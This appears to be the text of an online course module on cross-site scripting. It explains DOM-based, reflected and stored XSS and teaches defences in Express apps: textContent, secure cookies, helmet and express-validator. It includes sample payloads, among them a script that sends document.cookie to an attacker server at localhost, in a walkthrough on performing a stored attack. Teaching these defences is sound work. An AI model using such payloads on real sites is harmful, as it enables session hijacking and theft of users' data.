XSS Project that teaches how to protect applications from XSS attacks by securing cookies, headers, and finding alternative methods when working with the DOM.

Preventing Cross-Site Scripting (XSS) Attacks

In this exercise, we'll take a closer look at DOM-Based XSS Attacks. 

A DOM-Based XSS attack occurs when an attack payload is executed by altering the DOM in the victim’s browser. 

The _DOM (Document Object Model)_ is a convention used to represent and work with objects in an HTML document. When a client-side script is executed, it can access various properties of the page and change their values. Websites are usually vulnerable to DOM-Based XSS attacks because of bad JavaScript code altering the front end.

Let's assume that a site is running code to render a name dynamically, and this code lives within `dashboard.html`. The code to render the name dynamically might look something like this:
```
greeting.innerHTML = "Welcome " + name + "!";
```

Notice how this code is _changing the HTML_ of the page using `innerHTML`. If an attacker wanted to implement a DOM-Based XSS attack they would inject malicious code into the name input field instead of a plaintext name. Instead of sending their name, an attacker could input a value like:

```js
<script>alert("This is an attack!");</script>
```

The `alert` function will then be propagated to the webpage to be executed. Some webpages might accidentally allow for code to be injected in the URL as well. For example, the following URL expects a `name` as a parameter:
```
http://www.somesite.com/userpage.html?name=jorge
```
This could potentially allow the attacker to effectively do:
```
http://www.somesite.com/userpage.html?name=<script>maliciousFunc(variable)</script>
```
In reality, the attacker would disguise the URL using a URL shortener so that it is not obvious it contains a script. The encoded URL might look like this:

```
https://www.somesite.com
```


DOM-Based XSS Attack

We know that, in DOM-Based Attacks, the malicious code is client-side. To prevent this attack developers must be very careful with the type of code used in the browser.

To be more specific, these types of attacks happen when data from a user-controlled _source_ (like user name or redirect URL taken from the URL fragment) reaches a **sink**, which is a function like `eval()` or a property setter like `.innerHTML`, that can execute arbitrary JavaScript code. 

There are several methods and attributes which can be used to directly render HTML content within JavaScript. If these methods are provided with malicious input, then an XSS vulnerability could result. For example:

```js
// Attribute:
element.innerHTML = "<HTML> Tags and markup";
// Method:
 document.write("<HTML> Tags and markup");
```

Instead, one can replace these methods with an attribute like `textContent`. 

```js
// Will add as an actual HTML element.
element.innerHTML = "<maliciousHTML>";
// Will render as text on the webpage.
element.textContent = "<displaysAsText>";
```

Ideally, one could take a step further and avoid rendering user input, especially if it affects DOM elements such as the `document.url`, `document.location`, or `document.referrer`. 

Lastly, one should validate and sanitize all user input in order to prevent any data manipulation.

DOM-Based Precautions

### Securing Cookies
In the previous exercise, we saw how `cookies` can be used to steal user's data. An express server that uses `express-session` to store cookies has the properties `httpOnly` and `secure` to configure how to store and send cookies. Setting `httpOnly` and `secure` to `true` helps mitigate the risk of client-side script accessing the protected cookie. 

In order to set up a cookie in an Express server, you can use the library `express-session` to set up a session and configure the application with specific properties pertaining to cookies:

```js
app.use(
  session({
    secret: "my-secret",
    resave: true,
    saveUninitialized: true,
    cookie: {
      httpOnly: true,
      secure: true
    },
  })
);
````

### Setting Security Headers
Moreover, we can include the [`helmet`](https://www.npmjs.com/package/helmet) package to edit HTTP headers. Helmet.js is a collection of 15 Node modules that interface with Express. Each module provides configuration options for securing different HTTP headers. One of them being the `contentSecurityPolicy` which is an added layer of security that helps to detect and mitigate certain types of attacks. Fortunately, by just including this package in your express app, 11 of these modules (including the content security policy module) will be configured automatically. 

You can use `helmet` by adding the following line of code:
```js
app.use(helmet());
```

Securing Cookies and Headers

Let's now explore how Reflected XSS attacks work. 

In a Reflected XSS Attack, the payload is not stored in a database, it's reflected onto the site. 

We saw that, in a DOM-Based attack, the vulnerable code lived within the `.html` file. In the case of the Reflected XSS attack, the vulnerable code will live on the server. Specifically, where the request is being sent.  

A user might get sent this malicious link:

```
http://www.somesite.com/profile?name=<script>maliciousFunc(variable)</script>
```
> Note: Remember that in real life, the actual link would be encoded so it doesn't look obvious that it's a suspicious link.

The site might send a `GET` request to `/profile` for example. Within that `GET` request, the vulnerable code would be corrupted and execute the malicious code that's sent with the payload. 

An attacker could send a malicious link to a victim with code that retrieves a victim's cookies or other important information. Then, the code will send that information directly to the attacker's personal server.

Reflected XSS Attack

A Cross-Site Scripting (XSS) attack is a type of attack where code is injected into a legitimate and trusted website. 

There are three main types of XSS Attacks:

**Stored XSS Attacks:**

In a Stored XSS Attack, the attacker locates a vulnerability in a web application and injects a malicious script into its server. That code would be then stored in the app's database, and when a user makes a request to view that type of content, the code stored is then executed.

In this case, we can use specific HTTP Headers and data sanitization to stop any malicious code from reaching the server.

**Reflected XSS Attacks:**

In a Reflected XSS Attack, an application receives potentially malicious data in an HTTP request and includes that data within the immediate response in an unsafe way. 

Similar to Stored XSS Attacks, we can also use HTTP Headers and sanitization in order to protect any malicious code from being injected.

**DOM-Based XSS Attacks:**

In a DOM-Based XSS Attack, the attack is executed entirely in the browser by modifying the DOM (Document Object Model). 

In order to protect one's code from a DOM-Based XSS attack, one must be careful of the JavaScript that is used on the front end. 


What is a XSS Attack

In this exercise, we'll take a look at how to perform a Stored XSS Attack. 


When a victim clicks a link, malicious code can send the victim’s cookie to another server or directly modify the affected site to steal usernames, passwords, or implement other phishing techniques.

Let's assume we have a vulnerable site, `www.roomcademy.com`, that provides vacation rentals across the world. Each lodging has a page where customers can review their stay in a comment field. So, how can an attacker take advantage of this site?

If an attacker hosts their own server at, `www.localhost:5000`, they can inject code into that comment field in order to "infect" the site and run malicious code whenever someone requests to see the comments. Since comments are saved in RoomCademy's database, this script is stored,  and will be retrieved and run whenever a user accesses the comment section. One example could be, instead of writing a review, the attacker writes the following:

```js
<script>fetch(`http://localhost:5000?data=${document.cookie}`)</script>
```

In the code above, they’re making a `fetch` request to the attacker's server and sending the victim's cookie. We're also using `encodeURIComponent` in order to parse the text and format it so that it's read as a query parameter in the URL:

```
http://rentaroom.com/?newReview=%3Cscript%3Efetch%28%60http%3A%2F%2Flocalhost%3A5000%3Fdata%3D%24%....Fscript%3E
``` 

Once the attacker submits this "review", RoomCademywill store the code in their database. Now, whenever a victim visits the page and retrieves the comments, this code will be run and executed, sending the victim's information to the attacker's server. 


Stored XSS Attack

Awesome job! XSS Attacks are still very common and it's important to be aware of them so you don't fall victim to one. We've looked at what can happen behind the scenes if an attacker successfully injects malicious code into a vulnerable site, but that's not the only way to create an XSS attack. That's why it's important to never click suspicious links or submit private data into any unknown application!

Let's break down what we've learned so far:

- How DOM-Based, Reflected, and Stored XSS attacks are different from each other and how they can be used to retrieve vulnerable data.

- How an attacker can inject malicious code into a vulnerable application using `<script>` tags and Javascript.

- How a user can be tricked into submitting their private information using cookies.

- How to use `express-validator` and its built-in methods in order to validate input data.

- Why it's important to use data validation packages in order to sanitize data in an application to prevent malicious code injection.

- How to use secure cookies in `express-session` to prevent an XSS attack.

- How to use `helmet` to secure HTTP headers and protect yourself from numerous types of attacks, including XSS attacks.


When creating an application, there is no silver bullet. It's important to consider all possible ways an attacker might inject malicious code into your app, and take the appropriate measures to protect yourself and your users.


Review

In the Reflected and Stored XSS Attacks, we saw how an attacker can inject malicious code into the server and/or database using a form. This is why it's important to validate and/or sanitize data before it's submitted to the server. 

When we validate data we ensure that the user is not submitting information that doesn't fit a certain format. Moreover, we can use sanitization in order to reformat data so no malicious code is sent. 

In other words, validation checks if the input meets a set of criteria (such as a string contains no standalone single quotation marks), whereas sanitization modifies the input to ensure that it is valid (such as removing single quotes).

There are many packages that help validate user data, and one common package is [`express-validator`](https://express-validator.github.io/docs/). It's built off of the `validator` package, and it is recommended for use in express applications. With `express-validator`, we can verify if a string matches a certain format by importing certain functions such as `check`:

```js
const { check } = require("express-validator");
```

Once the function is imported, it can be used as a middleware within our endpoints, to validate any input that's submitted within objects attached to `req` (such as data sent in a form through `req.body`):

```js
app.post("/login", [
  check('email').isEmail(),
], (req, res) => {});
```

In the example above, the `email` field is sent through a login form and retrieved from `req.body`. Notice how we're using an array since we can pass in multiple `check`'s for input data.

If the input data is valid, then the rest of the request will be executed and we know that the data passed in is safe and properly formatted.